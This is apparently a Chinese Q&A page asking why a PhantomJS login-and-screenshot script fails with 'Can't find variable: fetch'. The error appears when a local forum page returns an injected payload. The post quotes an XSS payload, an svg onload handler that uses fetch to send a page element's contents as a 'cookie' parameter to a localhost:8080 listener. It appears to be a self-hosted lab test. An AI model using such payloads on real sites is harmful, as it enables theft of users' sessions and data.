问题描述
当我在 phantomjs 上执行我的 js 代码时出现这个错误。
ReferenceError: Can't find variable: fetch
我在下面使用的 js 代码 (login.js) 登录到本地论坛 (http://127.0.0.1/forum/) 并重定向到我在服务器上托管的 page.php,并在登录时截取页面截图。
var page = require('webpage').create();
var url = "http://127.0.0.1/forum/";
page.settings.userAgent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/37.0.2062.120 Safari/537.36';
page.viewportSize = {
width: 1280,height: 800
};
page.zoomFactor = 1;
page.onConsoleMessage = function(msg,lineNum,sourceId) {
console.log('CONSOLE: ' + msg + ' (from line #' + lineNum + ' in "' + sourceId + '")');
};
page.open(url,function (status) {
page.onConsoleMessage = function(msg,sourceId) {
console.log('CONSOLE: ' + msg + ' (from line #' + lineNum + ' in "' + sourceId + '")');
};
page.evaluate(function() {
document.getElementById("lbluserName").value = "John";
document.getElementById("lblpassword").value = "password";
document.getElementById("btnLogin").click();
// page is redirecting.
});
setTimeout(function () {
page.evaluate(function () {
console.log('Done');
});
page.render("AfterLogin.png");
var url = "http://127.0.0.1/forum/pages/page.php?post_id=1";
page.open(url,function (status) {
setTimeout(function () {
page.evaluate(function () {
console.log('Done');
});
page.render("HomePage.png");
phantom.exit();
},5000);
});
},5000);
});
我运行下面的 js 代码没有问题,我的截图也没有任何问题
phantomjs.exe login.js
CONSOLE: Done (from line # in "")
CONSOLE: Done (from line # in "")
但是,如果页面 (page.php) 在响应中包含以下内容
<svg/onload=fetch('http://localhost:8080/?cookie='+document.getElementById("userName").innerHTML)>
我将在下面列出以下错误。
phantomjs.exe login.js
CONSOLE: Done (from line # in "")
ReferenceError: Can't find variable: fetch
我怀疑上述错误可能是由于响应中的
我尝试了谷歌搜索,但没有找到任何可以解决我的问题的解决方案。
(我看到一些关于 phantomjs 太旧并且不支持 fetch 的内容?对此不太确定。)
有人能帮我解决这个错误吗?
谢谢!
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)